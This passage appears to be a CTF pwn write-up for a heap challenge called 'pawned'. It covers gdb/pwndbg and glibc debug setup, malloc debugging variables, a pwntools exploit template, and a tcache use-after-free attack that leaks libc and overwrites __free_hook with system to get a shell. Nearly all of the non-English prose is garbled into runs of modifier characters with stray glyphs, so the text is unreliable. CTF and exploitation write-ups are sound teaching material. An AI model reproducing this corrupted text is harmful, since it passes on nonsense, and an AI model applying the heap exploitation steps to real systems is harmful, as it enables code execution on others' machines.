ˤ˞ ˭ˣ˶˸˲ˢ ˞ˣˢ ˶˥˞ :˪˷ˬ˪ ˡ˧˶ˣˢ˪ ˸˞ ˫˧˴˟˵ˢ ˫˧˴ˣ˥ˮˢ ˯˥˧˧˸ˢ˪ˣ ˫ˢ˧˪˞ ˟-gdbscript .ˢ˞˶ˮ ˫˧ˮ˧˯ˢ˷ 

˶˟˩ ˣ˟˷˥ ˪˰ ˭ˣ˶˸˲ ˢ˧˰˟˪ - ˢˬ ˪˧˟ˣˬ˷ ˧˪˩˪ ˢˤˢ ˸ˡ˶ˣˢ˪ ˫˧˴˟˵ˢ ˫˧˴ˣ˥ˮˢ ˣˬ˩ˣ ˭˩ ˶˟˯ˢ˪ ˱˯ˣˮ x-

˦˲˧˶˵˯˪ ˢˬˣˡ ˨ˣ˸ˬ ˦˵˧ˣ˶˲ ˶˩ˤˣˢ˷ ˸ˣ˟ˣˠ˸˟ . 

˵˶ ˣˬ˧˷ ˟˪ ˸˶˷˷ s-mirror ˣˮˬˬ˷ ˫˧ˡ˶ˣˬ ˫˧˴˟˵ˢ ˞ˣˢ ˧ˮ˧˯ ,ˤ˞ ˧˪ˣ˞ ˧˞ˡ˩ ˷˲˥˪ mirrors  ˫˧˶˥˞ .

˥ˬ˷˞ ˰ˣˬ˷˪ ˫˩ˮˣ˧˯ˮˬ ˭˧˧ˮ˰˟ ˢˤ ˪˷ ˸ˠ˷ˢ s-debug symbols .˧˸˰ˡ˪ ˸˪ˣ˩˧ˢ ˸ˣ˞˶˪ ˣ˪˧˞˟ ˸ˣ˶ˣ˷ ˪˷ 

libc ˣˮ˞ ˫˧˞˴ˬˮ ˨˪ˢˬ˟ s-debug ˞˧ˢ ˸˶˵˧ ˨˶˰ .( 

˫ˣˬ˧ˮ˧ˬˢ ˨˧˶˴˷ ˡ˟"˩ ˢˤ ˦˯ ˫˧˴˟˵ ˣˬ˩ ˫˧˞˟ˢ :ld-2.31.so ,ld.so.2 ,libc-2.31.so ,libc.so.6 ,˫˞ 

˪ˣ˲ˬ˧˵ˢ ˪˷ glibc ˢ˧ˢ ˫˰ ˪ˠˡ -g )debug symbols ,(ˤ˞ ˢ˴˶ˮ ˫ˠ ˢ˧˵˧˸ ˵˧˲˯ˬ˷ ˪˧˩˸˷ ˵˪˥ ˢˬ-

source code )˪˷ˬ˪ ˵˶ ˸˞ malloc.c ˧ˡ˩ ˪˷-gdb ˢ˧ˢ˸ ˢ˷˧ˠ ˪-source code ˣ˪˷.( 

˧ˬ ˭˧˧ˮˣ˰ˬ˷ ˷ˬ˸˷ˢ˪ ˦˲˧˶˵˯˟ solve.py ˞˧ˢ˷ ˸˶˴˧˧ˬ - ˥˵˧˧˷ ˭ˣ˟˷˥˟ ˪ˣ˩˧˷ ˸ˣ˧ˢ˪ ˳˪˞˧˧˷ ˸ˣˮ˷˪ ˸˞ 

args.DEBUG ˣˢ˷ˬ˪ ˣˬ˩ args.GDB )python3 solve.py LOCAL GDB NOASLR .(ˣˬ˩ ˭˩ ,˭˸˧ˮ ˷ˬ˸˷ˢ˪ 

-˟template ˱˶ˣ˴ˬ˷ ˭˞˩ ˢ˦ˬ˪ )˷˧ ˫˧˪˪˩ˣ˷ˬ ˶˸ˣ˧ ˣˮˬˬ ,˶˷˲˞ ˫ˠ ˶˧ˡˠˢ˪ x˪ ˢˤ˧˞ ˪ˮ˧ˬ˶˦ ˥ˣ˸˲˪ 

ˢˤ˧˞˟ˣ ˸ˠ˶ˡ logging ˯˧˲ˡˢ˪ ˸ˣ˰ˡˣˢ ˨˯ˬ˪ ˸˶ˤ˰˟ ŎƻƴǘŜȄǘΦƭƻƎψƭŜǾŜƭ Ґ ΨhǇǘƛƻƴψƴŀƳŜΩ:( 

from  pwn import  *  

 

elf = context . binary = ELF( "pawned" )  

libc = ELF( elf . runpath + b"/libc.so.6" )  # or ELF(elf.libc)  

gs = '''  

continue  

'''  

def  start ():  

    if  args . GDB:  

        return  gdb . debug ( elf . path ,  gdbscript =gs )  

    else :  

        return  process ( elf . path )  

 

io . timeout = 0.1  

io = start ()  

############  

# YOUR CODE 

############  

io . interactive ()  

https://github.com/pwndbg/pwndbg/issues/937
https://packages.ubuntu.com/focal-updates/libc6-dbg
https://github.com/abdullahnz/CTFs/blob/10ad0fd89d27baaba7c67f33cec3dbc9613ba051/Hacktivity/pwn/pawned/solve.py#L8
https://www.buaq.net/go-13408.html
https://www.buaq.net/go-13408.html
https://github.com/matrix1001/glibc-all-in-one
https://bbs.pediy.com/thread-254868-1.htm
https://github.com/ray-cp/pwn_debug/blob/master/build.sh
https://github.com/shift-crops/sc_expwn
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ˢˡˣ˵ˮ ˸˲˯ˣˮ ˪˰ debugging ˧ˣˢ˧ˤˣ ˫˧ˠ˞˟ :˶˟˰ˬ ˨˩˪ ˷-interactive() ˷ˬ˷ˬ ˸˶ˣ˷˵˸˪ ˫˰ ˨˧˪ˢ˸ˢ 

˳˶ˢ ˸˧ˬˣ˵ˬ/˵˥ˣ˶ˬ ,˞ˣˢ ˪ˣ˩˧ ˷ˬ˷˪ ˫ˠ ˱˧˪˥˸˩ ˪ˣˤ ˪-breakpoint )˭˧˧ˡ˰ ˢ˧ˢ˧ ˨˶ˣ˴ ˳ˣ˥˪˪ ctrl+c ˭ˣ˪˥˟ 

˪˷ ˶ˠ˞˟˧ˡˢ ˧ˡ˩ ˶ˣ˴˰˪ ˸ˬ˞˟ (ˢ˴˶ˢ˟ ˸˧ˬˣ˵ˬ ˨ˣ˸ˬ ˦˲˧˶˵˯ ˭ˣ˸˧˧˲ )ˢˤ˷ ˣˬ˴˰˪˷˩ ˶˸ˣ˧ ˥ˣˮ ˸ˮˤˢˬ 

˦˪˵ ˸˧ˮˡ˧ ,(˨˞ ˸˞ˤ ˞˪ ˨˶ˡˢ ˧˩ˢ ˢ˪˧˰˧ ˠ˟ˡ˪ ˸ˣ˶˧ˢˬ˟ . 

˴˧˲'˶ "˦ˣ˷˲ ˧ˡˬ "˪˷ gdb ˞ˣˢ ˸ˡˣ˵˲ s-record ˸˶˷˲˞ˬˢ ˶ˣˤ˥˪ ˪-check point .˫˞ ˣ˥˧˪˴˸ ˟˪˷˪ 

˨˧˪ˢ˸˟ s-debug ˫˧˪˩ ˢ˰ˣˮ˸˪ ˢ˶ˣ˥˞ ˭ˬˤ˟ /timeless debugging ˣˬ˩ rr ˪˷ ozillaM ,QIRA )˦˵˧ˣ˶˲ 

˭˷˧ ˪˷ geohot ˶˟˰˷ patching ˢ˩˧ˬ˸˪ ˟-Ubuntu 20 (ˣ˞ ˫˧˶˥˞ ˫˧ˬ˧˧˵ˢ ˸˷˶˟ x˞ ˣ˪˧˲˞ ˸ˣˮ˟˪ ˧˪˩ 

˫˩˪˷ˬ - ˫˸˥ˣˣ˶ˢ . 

˶˷˲˞ ˟ˣ˷˥˪ ˷ˣˬ˧˷˷ ˧˪˩˟ Fuzzing ˪ˣ˩˧ ˶˴˵˪ ˫˧˞˪˲ ˸˞ ˨˧˪ˢ˸ˢ ˪˷ ˶ˣ˸˧˞ ˫˧ˠ˞˟ˢ ˪˷ ˷ˣˬ˧˷ˢ ˟-

heap .˷˧ ˢˬ˩ ˫˧˪˩ ˫˧˦ˬˣ˦ˣ˞ ˸˷˶˟ ˶ˣ˸˧˞˪ ˸ˣ˷˪ˣ˥ ˸˷ˬ˷ˢˣ ˸ˣ˲˵˸ˬ ˸ˣ˶˩ˣˬ ,˦˶˲˟ˣ ˶ˣ˟˰ heap 

exploitation ˨˞ ˫ˢ ˞˪ ˭ˣ˶˸˲ ˫˯˵ .˟ˣ˷˥ ˶ˣ˩ˤ˪ ˫˧ˠ˞˟˷ ˪˷ heap ˫˧˰˧ˠˬ ˸ˣ˞˯˶ˠ˪ production ˪˷ 

˸ˣˮ˩ˣ˸ ˫ˣ˷ˬ ˫ˢ˷ ˫˧˧ˣ˷˰ ˸ˣ˧ˢ˪ ˫˧˷˵ ˧ˣ˪˧ˠ˪ .˥˧ˮˮ ˷˧˷ ˣˮ˪ chunk ˶˶˥ˣ˷ˬ ˨ˣ˸˟ fastbin ˢ˷-fd ˣ˪˷ 

˸˥˷ˣˢ ˰"˧ ˠ˞˟ Write-After-Free x˞ ˢ˷˧˪ˠ . 

˫˞ ˞˪ ˢ˴˵ˮ chunk ˢˤ ˶˸ˣ˧ ˱˞ ˫˰˲ ˧ˮ˲˪ ˸˧ˮ˩ˣ˸ˢ˷ ˞˴˸ ,˨˧˞ ˰ˡˮ ˞ˣˢ˷ ˸˥˷ˣˢ ?ˣˤ ˢ˧˰˟ˢ ˫˰ 

Fuzzing .AFL ˭˰˷ˮ ˪˰ ˸˞˧˴ˬ ˫˧˦˪˵ ˫˧˪˧˟ˣˬ˷ ˸ˣ˯˧˶˵˪ ˸ˣ˰˧˵˸ˣ ˪˷ ˸˧ˮ˩ˣ˸ˢ ,ˢ˶˵ˬ˟ ˶˞ˣ˸˷ ˫˧˟˶˟ˣ 

˫˧˶˥˞ - ˸˧ˮ˩ˣ˸ˢ ˞˪ ˰˧ˠ˸ ˟˴ˬ˪ ˢˤ˩˷ ,˨˩ ˷-Fuzzers ˣˬ˩ AFL "˫˧˶ˣˣ˧˰ "˫˧˟˴ˬ˪ ˣ˪˞˩˷ . 

˭˸˧ˮ ˷ˬ˸˷ˢ˪ ˢˬ˩˟ ˧ˮ˸˷ˬ ˢ˟˧˟˯ ˣ˶ˤ˰˧˷ ˣˮ˪ ˞ˣ˴ˬ˪ ˫˧ˠ˞˟ ˟-heap: 

_MALLOC_PERTURB - ˶˷˲˞ˬ ˣˮ˪ ˪˥˸˞˪ data ˢ˴˵ˣˢ˷ ˶˶˥ˣ˷ˣ ˫˧˩˶˰˪ ˫˧˧˲˧˴˲˯ .ˢˤ ˪ˣ˩˧ ˶ˣˤ˰˪ ˣˮ˪ 

˪˷ˬ˪ ˶˸˞˪ ˰ˡ˧ˬ ˞˪ ˪˥˸ˣ˞ˬ .˰ˣ˶˪ ˪ˤˬˢ ˧ˣ˯˧˩ˢ ˣ˪˷ ˧˵˪˥ ,˪˷ˬ˪ ,˶ˣ˶˥˷ ˪˷ chunks ˪˞ ˨ˣ˸ s-

tcache ˫ˣ˶ˠ˧ ˨˩˪ ˫ˢ˷ ˞˪ ˣ˪˥˸ˣ˞˧ ˨˶˰˟ ˪˷ ˫˧˸˟ˢ ˨ˣ˸˟ ˢˮ˸˷ˬ ˢˤ )PERTURB bytes( 

_MALLOC_CHECK - ˶˷˲˞ˬ ˸ˣ˵˧ˡ˟ ˸ˣ˶˧ˬ˥ˬ ˶˸ˣ˧ ˨˪ˢˬ˟ ˸ˣ˪ˣ˰˲ heap ˶˧˥ˬ˟ ˪˷ ˸ˣ˶˧ˢˬ .˸ˣ˵˧ˡ˟ 

ˣ˪˞ ˸ˣ˲˧˯ˣˬ metadata ˱˯ˣˮ ˪-chunks ˧ˡ˩ ˶˸˞˪ ˸ˣ˷˧˪ˠ .ˢ˧˰˟ˢ ˢˡ˧˥˧ˢ ˫˰ ˸ˣ˵˧ˡ˟ ˣ˪˞ ˞˧ˢ ˭ˢ˷ 

˸ˣˮ˷ˬ ˸˞ ˸ˣˠˢˮ˸ˢ s-heap ,ˣˬ˩ ˪ˣ˶˦˧ˮ s-tcache ˸˪ˡˠˢˣ ˪ˡˣˠ chunk ,˨˩ ˢ˷-heap ˸˥˸˷ ˢ˵˧ˡ˟ 

ˣˮˮ˧˞ ˠ˴˧˧ˬ ˵ˣ˧ˡ˟ ˸˞ ˧˞ˮ˸ ˸˟˧˟˯ s-Production. 

˰ˡ˧ˬ˪ ˱˯ˣˮ ,˭˸˧ˮ ˭˧˧˰˪ ˵˪˥˟ ˪˷ Environment variable ˦˪˲˟ ˪˷ ˢˡˣ˵˲ˢ: 

$ man mallopt  
  

https://github.com/Gallopsled/pwntools/blob/f3b08ed28952dcc661a68f7f9edee7582089801a/pwnlib/tubes/tube.py#L844
https://sourceware.org/gdb/download/onlinedocs/gdb/Process-Record-and-Replay.html
https://github.com/pwndbg/pwndbg/issues/366
https://github.com/a1eaiactaest/qira
https://github.com/haxkor/forkever/
https://github.com/guyinatuxedo/remenissions
https://github.com/sslab-gatech/ArcHeap
https://github.com/sslab-gatech/ArcHeap
https://github.com/sslab-gatech/ArcHeap
https://github.com/search?o=desc&q=AFL&s=stars&type=Repositories
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ˢ˶ˤ˥˟ ˪˧ˠ˶˸˪ 

˳˧˶ˮ ˟ˣ˷ ldd ˪˰ ˳˟ˣ˵ˢ ˣˮ˪˟˧˵˷ ˧ˡ˩ ˞ˡˣˣ˪ ˞ˣˢ˷ ˢ˷ˣ˰ ˷ˣˬ˧˷ ˫˧˴˟˵˟ ˨ˣ˸ˬ ˸˧˵˧˸ ˢˡˣ˟˰ˢ ˸˧˥˩ˣˮˢ: 

 

˭˲ˣ˞˟ ˞˪ ˰˧˸˲ˬ ,˫˧˪˟˵ˬ ˸˞ ˢ˰ˡˣˢˢ ˢ˞˟ˢ ˸˰˟ ˸˴˶ˢ ˢˡˣ˵˲ˢ vis ˭˷˯˟ s-debug ˶˥˞˪ ˸ˮ˧˰˦ libc 

)˶˥˞˪ ˸˴˶ˢ ˢˡˣ˵˲ˢ start (ˡˣˠ˧ˮ˟ ˪-άƘŜŀǇ ƛǎ ƴƻǘ ƛƴƛǘƛŀƭƛȊŜŘ ȅŜǘέ ˸˶ˬˣ˞˷ ˢ˷-heap ˫˶˦ ˶˴ˣˮ ,ˣ˪˧˲˞ 

-˷libc6-dbg ˸ˮ˵˸ˣˬ )˫˧˧˸˷ˢˣ ˸ˣ˶˥˞ˢ ˢ˶˵ˬ˟ ˪˷ ˧˶˞ˮ˧˟ он ˦˧˟ .(ˢˬˣˡ˟ ˠ˞˟˪ ˶˩ˤˣˢ˷: 

 

ˢ˶˵ˬ˟ ˣˮ˪˷ ˦ˣ˷˲ ˢ˷˰ˮ "˶ˣ˴˧˵ ˨˶ˡ ˨˪˩ˣ˪ˬ "˷ˬ˸˷ˮˣ ˢ˯˶ˠ˟ н.ом ˢ˰˧ˠˬ˷ ˡ˥˧˟ ˫˰ Ubuntu 20.04 

˪˷ WSL ˧˪˟ˬ ˨˶˦˴ˮ˷ ˰˴˟˪ patching ˳˟ˣ˵˪ s-elf ˧˶ˣ˵ˬˢ )˲˧˦ ˧˷ˬ˸˷ˬ˪ WSL :˫˞ ˢˠˣ˴˸ˢ ˞˪ 

˸˟˵ˣ˰ ˧˶˥˞ ˦˪˲ˢ ˷˪ˣˠ˷ ˸˥˸ˬ ˨˯ˬ˪ ,ˣ˶˟˰˸ ˨˯ˬ˪ ˞˪ˬ ˫˰ (ALT+ENTER. 

˪˩˟ ˢ˶˵ˬ ,˵˪˥˟ ˸ˣ˵˧ˮ˩˦ˢˬ ˣˮ˞ ˫˧˷˟˷ˬ ˢˮˣˣ˩˟ ˸˞ s-metadata ˪˷ ˫˧ˮ˟ˬ ˣˬ˩ s-heap ,-stcache 

ˢˣ-main arena ,˭˩˪ ˵˪˥ ˦˪˲ˢˬ ˪˷ ˸ˣˡˣ˵˲ ˣˬ˩ vis ˞˪ ˢ˧ˢ˧ ˭˧ˬ˞ ˫˧˶˵ˬ˟ ˣ˪˞˩˷ ,˨˩ ˞˪˧ˬ˟˷ ˫ˡ˵ˣˬ˟ 

ˣ˞ ˶˥ˣ˞ˬ˟ ˨˧˶˴ ˸˰ˡ˪ ˦ˣ˪˷˪ ˥ˣ˸˧ˮ˟ ˰ˡ˧ˬ ˭ˣ˶˩˧ˤ˟ ˫˰ ˸ˣˡˣ˵˲ ˣˬ˩ )examine( x x˞ dq(dump qword). 

˶ˣ˞˸ ˶ˠ˸˞ˢ: " Welcome to our pawn shop. Only used items are allowed. "- ˪˩˟ ˫˰˲ ˶˟ˣˡˬ˷ 

˸˧ˮ˩ˣ˸˟ ˭ˣˮˠ˯˟ ˪˷ ˸ˣˮ˥/˵ˮ˟ ,ˢˤ ˡ˟"˩ ˤˬ˶ˬ ˪˰ ˶ˠ˸˞ heap) .˱˯ˣˮ˟ ˸ˣ˞˴ˬ˧ˢ˪ ˸ˣ˞˧˶˵ ˸ˣ˧˴˵ˮˣ˲˪ ˪˷ 

Malloc.( 

main() ˸˪ˢˮˬ ˨˶˰ˬ )˞˪ ˪˰ s-heap (˪ˡˣˠ˟ мл ˪˷ ˫˧˰˧˟˴ˬ ˪-chunks ˪ˡˣˠ˟ 0x30 )˫˧ˮ˟ˬˢ ˣˮ˶˩ˤˢ˷ .( 

˸ˣ˧ˣ˶˷˲˞ˢ ˸ˣ˰˧˲ˣˬˢ ˦˧˶˲˸˟ ˸˧ˮ˩ˣ˸ˢ˷ ˢˠ˧˴ˬ ˣˮ˪: 

¶ "˶ˣ˩ˬ˪ ˦˧˶˲ ˸ˣˮ˥˪ :"˸˲˯ˣˢ ˦˧˶˲ ˢˮ˟ˬ˪ ˸˧ˮ˩ˣ˸ˢ˷ ˸˪ˢˮˬ ,˨ˣ˸ ˭ˣ˧˴ ˶˧˥ˬˢ ˣ˪˷ )long float ,(

˨˶ˣ˞ ˫˷ˢ ˣ˪˷ ,˫˷ˢˣ ˦˧˶˲ˢ .˸˧ˮ˩ˣ˸ˢ ˶ˣˬ˷˸ ˸˞ ˰˧˟˴ˬˢ ˢ˪˟˧˵˷ ˬ-malloc() ˞˸˟ ˨˶˰ˬˢ 

˧˪˞ˬ˷ˢ ˶˸ˣ˧˟ ˣˮˮ˧˞˷ null. 

¶ "˸ˣˮ˵˪ ˦˧˶˲ ˸ˣˮ˥ˢˬ :"˫˴˰˟ ˶˟ˣˡˬ ˢ˵˧˥ˬ˟ ˪˷ ˫˧˦˧˶˲ ˣˮ˥ˮ˞˷ ˣˮ˲˯ˣˢ 

¶ ˸˯˲ˡˢ ˨˶˰ˬ ˫˧˦˧˶˲ˢ ˪˷ ˸ˣˮ˥ˢ 
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ˢ˞˶ˮ ˧ˬ˷ ˟˸˩˷ ˶ˠ˸˞ ˢˤ ˢ˴˶ ˸ˣ˷˵ˢ˪ ˪˰ ˣ˪˞ ˣ˯ˮ˧˷ ˯ˡˮˢ˪ ˶ˣ˥˞˪ ˸˧˦˦˯ ˸˞ ˧˶˞ˮ˧˟ˢ ˫˰ 

decompiler view )ˢˤ ˭˧˧ˡ˰ ˧˶˷˲˞ ,˨˞ ˢ˶˵ˬ˟ ˢˤ ˱˧ˡ˰ ˪˩˸˯ˢ˪ ˪˰ s-dissassembly flowchart .(

˪ˣ˩˧˟˩ ˶˷˲˞ ˰˧ˠˢ˪ ˢˮ˟ˢ˪ ˪˷ ˭˲ˣ˞ ˢ˪ˣ˰˲ˢ ˫˧ˠ˞˟ˢˣ ˸˧ˮ˩ˣ˸˟ ˰"˧ debugging ˡ˟˪˟ ,˨˞ ˵˪˥ ˭ˣ˶˸˲ˢˬ 

˞ˣˢ ˷ˣˬ˧˷ ˢ˧˴˵ˮˣ˲˟ ˸˞˴ˣ˧ˬ )exported" (˸˶˸˯ˮ "ˢˮˮ˧˞˷ ˸˞˶˵ˮ ˡˣ˵˟ ,˫˷˟ manage_items(). 

˭ˣˣ˧˩ˬ ˸ˣˢˬ˷ ˞˷ˣˮˢ ˢˮˮ˧˞ reversing )˶˸ˣ˧ ˭ˣ˩ˮ ˧˸˰ˡ˪ ˫˧ˠˡˢ˪ ˵˪˥ ˢˤ ˸˶ˣ˴˟ ˭ˣ˦˶˯ ˷˧˥ˬˬ˷ ˨˧˞ 

˫˧˷ˬ˸˷ˬ ˭ˣ˩ˮ ˧˪˩˟ ˸˞ˣ ˨˧˪ˢ˸ˢ ˧˸˟˧˷˥ˢ ˞˪ˣ ˵˶ ˸˞ ˶˴ˣ˸ˢ ˧˲ˣ˯ˢ ˪˷ ˥ˣ˸˧ˮˢ (ˠ˪ˡ˞ ˪˰ ˢˬˠˡˢˢ 

ˣ˪˷ . 

˧ˬ˪ ˭˧˞˷ ˰˵˶ ˪˪˩˟ ˟-RE ˳˧˪ˬ˞ ˡˣˬ˪˪ ˸ˣ˥˲˪ ˸˞ ˯˧˯˟ˢ ˧˸˟˷˥ˬˢ ˫˧˶˲˯ˬ  /˫˧˯˶ˣ˵  /˫˧ˮˣ˦˶˯  /

˫˧˶˟˥ ˢ˟˶ˢˣ ˪ˣˠ˶˸ ˢˡˣ˟˰ ˫˰ ˫˧˪˩ ˥ˣ˸˧ˮ˪ ELF ˣˬ˩ IDA Pro ,Ghidra ,Radare2/Cutter/Rizin ,Binary 

ninja . 

ˢ˶ˤ˥˟ ˪˧ˠ˶˸˪: ˫˧˷ˮ ˟˪ ˶˷˞˩˷ ˣˮ˞ ˫˧˶˩ˣˬ ˦˧˶˲ ˷ˡ˥ ˸ˣˮ˥˪ ,˞˧ˢ ˡ˧ˬ˸ ˢ˴˵ˬ chunk ˪ˡˣˠ˟ 0x30 

)˸˷˵˟ˬ 0x20 (ˢ˷-data ˞˧ˢ˷ ˶ˣˬ˷˸ x˟ ˟˩˶ˣˬ ˸ˣˡ˷ˢˬ ˫˧˞˟ˢ: 

 

Sell - ˥˪˷ˮ ˧˸˷ ˸ˣ˷˵˟ ˫˰ ˫˧ˮˣ˸ˮ ˫˧ˮˣ˷ ˨˶ˣ˴˪ ˸˵˧ˡ˟ ˢ˧˴˲ˣ˞ xʕ : 

 

  

https://www.digitalwhisper.co.il/files/Zines/0x71/DW113-1-ReversingHero.pdf
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˶ˣ˟˰ˮ ˢ˶ˤ˥˟ ˭ˣ˪˥˪ ˪˷ GDB ˫˰ ALT+`(backtick) ,˳˥˪ˮ ctrl-C )˪ˣ˵˷ ˪-break .(˯˧ˮ˩ˮˣ ˸˞ ˢˡˣ˵˲ˢ :vis  

 

 ˭˸˧ˮ ˸ˣ˞˶˪ ˶ˣ˟˰˷ ˪˩ ˸˷˵˟ ˢ˞˴˵ˢ ˢ˴˵ˣˬ ˫ˡˣ˵ 0x30 chunk ˶ˣ˟˰ ˢˮ˟ˬˢ ˮˢ"˪ .˸˞ s"˶˧˥ˬ "

˸˧ˮ˩ˣ˸ˢ ˶ˣˬ˷˸ ˪-qword ˭ˣ˷˞˶ˢ ˪˷ ˢˮ˟ˬˢ ˦ˬ˶ˣ˲˟ ˪˷ IEEE floating point .-˟qword s-о ˪˷ s-

data ˶ˬ˷˧ ˰˧˟˴ˬ ˪-chunk x˟ ˶ˬ˷˧˸ ˸ˤˣ˶˥ˬ ˫˷ˢ ,chunk ˢˤ ˢ˧ˢ˧ ˪ˡˣˠ˟ ˫˞˸ˢ˟ ˪-length ˣˮ˯ˮ˩ˢ˷ .

˫˧˷ˮ ˟˪ ˭˧˞˷ ˠ˞˟ overflow .-˟qword s-п ˶ˬ˷˧˧ ˨˶ˣ˞ ˫˷ˢ ˣˮ˷˵˧˟˷ ˭˧ˤˢ˪. 

uyB - ˸˰˩ ˷˵˟ˮ ˸ˣˮ˵˪ ˢ˶ˤ˥˟ ˸˞ s-item s-м )˧ˮ˷ˢ ˡ˥ˣ˞˧ ˫˰ s-top chunk ˰ˠ˶˟ ˶˶˥ˣ˷˧˷ (˪˟˵ˮˣ: 

 

˭ˣˣ˧˩ˬ ˣˮ˶˥˟˷ ˪ˡˣˠ ˥ˣˣ˦˟ ˪˷ s-tcache )˭ˣˮˠˮˬˢˣ ˪˰ˣ˲ ,(˧ˮ˷ s-chunks ˫˧˶ˣ˷˵ˢ ˦˧˶˲˪ ˭ˣ˷˞˶ˢ 

ˣ˶˶˥ˣ˷ ˣ˶˷ˣ˵ˣ ˪˞ s-bins ˫˧ˬ˧˞˸ˬˢ ˟-tcache .˨˞ ˡˣ˵˟ ˣˬ˴˰ ˞˪ ˰˴ˣ˟ˬ ˯ˣ˲˧˞ ˪˷ s-data )˦˶˲˟ˣ ˪˷ 

˰˧˟˴ˬˢ ˪-chunk ˪˷ˣ ˢˡ˷ ˰˧˟˴ˬˢ ˣ˩ˣ˸˟ ˸ˤˣ˶˥ˬ˪ ˪˷ ˫˷ˢ ,(˨˩ ˭˩˸˧˧˷ UAF .˭˞˩ˬˣ ˭˸˧ˮ˷ ˸ˣ˴˵ˢ˪ 

˪˩˪ ˶˸ˣ˧ˢ мл items. 

ˢ˧˴˵ˮˣ˲ˢ s"˸˧ˡˣ˯ "manage_items() )˦˪˵ ΨaΩ ˦˧˶˲˸˟ (˸˶˷˲˞ˬ ˣˮ˪ ˨ˣ˶˰˪ ˰ˡ˧ˬ ˪˷ ˦˧˶˲ )˶˧˥ˬ 

˨˶ˣ˞ ˫˷ ˫˷ˣ .(˫˞ ˭˧ˤˮ ˨˶ˣ˞ )˪ˡˣˠ chunk (ˢˮˣ˷ ˢˬˬ ˞˴ˬˮ˷ ˫˷ ,-schunk ˪˷ ˫˷ˢ ˶˶˥ˣ˷˧ ˢ˴˵ˣ˧ˣ 

˷ˡ˥ˬ )˞˪ ˶˟ˣˡˬ ˟-realloc() ,(˸˶˥˞ - ˵˶ ˨ˣ˶˰ˮ ˸˞ ˭˩ˣ˸ s-chunk: 

 

https://babbage.cs.qc.cuny.edu/ieee-754.old/64bit.html
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)ˢ˯˶ˠ˟ xʕ ˪˷ glibc )н.ом( ˸˪˰˲ˣˬ ˢˮˠˢ ˧ˮ˲˟ ˶ˣ˶˥˷ ˪ˣ˲˩ ˪˞ s-tcache )˪˪ˣ˩ xʕ ˸˷˲˥ˬ˷ ˸˞ s-

chunk ˪˩˟ s-tcachebin ˫˧˞˸ˬˢ ˪-key ˪˷ s-chunk ˫˧˯ˮˬ˷ ˶˶˥˷˪ .(˭˸˧ˮ ˶ˣˠ˯˪ ˸˞ ˭ˣ˪˥ s-debug 

˸˶ˤ˰˟ ctrl-D.( 

ˢ˲˧˞˷ˢ ˣˮ˪˷ ˟ˣ˶˪ ˞˧ˢ ˠ˧˷ˢ˪ ˸˪ˣ˩˧ ˢ˟˧˸˩ ˸˟ˣ˸˩˪ ˸˧˸ˣ˶˧˶˷ )˫˞ˣ ˧˞ ˶˷˲˞ ˨˞ ˷˧ ˣˮ˪ ˪ˤˬ - ˤ˞ ˵˶ 

˭˞˪ ˨˧˶˴˷ .(˫˞ ˥˧˪˴ˮ ˫ˣ˶ˠ˪ ˢˡ˷˪ ˰˧˟˴ˬˢ ˪-name ˪˷ chunk ˫˧˧ˣ˯ˬ ˰˧˟˴ˢ˪ ˸˟ˣ˸˩ s-target ˣˮ˪˷ ,

˪˩ˣˮ ˟ˣ˸˩˪ ˫˷˪ ˪˩ qword ˢ˴˶ˮ˷ ˸˶ˤ˰˟ ˸˞˶ˣˢ s-manage_items() ˭˸˧ˮ˷ ˢ˪ ˦˪˵˩ ˸˞ ˣ˸ˣ˞ ˨˶ˣ˞ˢ 

˞˴ˬˮ˷ ˶˟˩ ˟-Name length )˪˩ ˸˞ˤ ˸ˣˡˣˢ ˠ˞˟˪ s-WAF .(˶˧˩ˤˮ ˣˮ˞˷ ˫˧˩˧˶˴ ˠ˧˷ˢ˪ shell ˪˧ˠ˶˸˟ ˢˤ .

˪˰ ˭˩ ,ˢ˴˶ˮ ˠ˧˪ˤˢ˪ ˸˟ˣ˸˩ ˪˷ libc ˧ˡ˩ ˪˩ˣˮ˷ ˞ˣ˶˵˪ ˪-system() )x˞ ˧ˡ˩ ˞ˣ˴ˬ˪ one-gadget .( 

 

˭ˣˣ˧˩ˬ ˧ˢˣˤ˷ ˢ˯˶ˠ ˢ˟ s-Malloc hooks ˭˧˧ˡ˰ ˷ˣˬ˧˷˟ )˧ˮ˲˪ 2.34 (ˢ˴˶ˮ ˯ˣ˶ˡ˪ ˡ˥˞ ˫ˢˬ ,˧˩ ˷˧ ˸ˮˠˢ 

FULL RELRO ,˨˩ ˞˪˷ ˭˸˧ˮ ˟ˣ˸˩˪ ˪-.got.plt ˪x-fini array ˨˩˟ˣ ˰˧˲˷ˢ˪ ˪˰ s-flow execution ˸˧ˮ˩ˣ˸˟ . 

˭ˮ˷˧ ˫˧˩˶ˡ ˷˟˷˪ ˸˞ ˭ˣˮˠˮˬ s-Full/Partial RELRO ˟-exploits ˫˧˧˷ˣˬ˧˷ˢ ˫ˠ ˶ˣ˟˰Privellege 

Escalation ˸˶ˤ˰˟ ˧ˣˮ˧˷ ˧ˮ˸˷ˬ ˢ˟˧˟˯ LD_BIND_NOW x-LD_BIND_NOT ˫ˠ˷ setuid binaries 

˫˧˯˥˧˧˸ˬ ˫ˢ˧˪˞ .(˫˞ ˪˷ˬ˪ ˪˧˰˲ˮ ˸˞ buy() ˪˰ s-item ˣˮˬ˶ˠ˷ x˪ ˰˧˟˴ˢ˪ ˪˰ chunk ˶˥˞ ˢ˷-qword 

˭ˣ˷˞˶ˢ ˣ˪˷ ˪˧˩ˬ ΨκōƛƴκǎƘ\0Ω ,˭ˣˣ˧˩ˬ ˞ˣˢ˷ ˢˤ ˶˶˥ˣ˷˧˷ ˫ˡˣ˵ ,˪˟˵ˮ ˢ˞˧˶˵ ˪-ŦǊŜŜόΨκōƛƴκǎƘ\0Ωύ .˧˶ˢˣ 

˫˞˷ ˯ˣ˶ˡˮ ˧ˮ˲˪ ˭˩ ˸˞ s-free_hook ˫˰ ˸˟ˣ˸˩ˢ ˪˷ system ,ˢˤ ˭˸˧˧ ˣˮ˪ shell.˧ˡ˩ ˯ˣ˶ˡ˪ ˸˞ s-hook ,

ˣˮ˞ ˫˧˵ˣ˵ˤ ˪-libc leak . 

˧ˡ˩ ˠ˧˪ˤˢ˪ ˸˟ˣ˸˩ ˪˷ libc )˨ˣ˸ ˷ˣˬ˧˷ ˠ˞˟˟ s-Read-After-Free (˨˶˦˴ˮ ˪˴ˮ˪ ˡ˥˞ ˧ˮˮˣˠˮˬˬ ˶ˣ˷˧˵ˢ ˪-

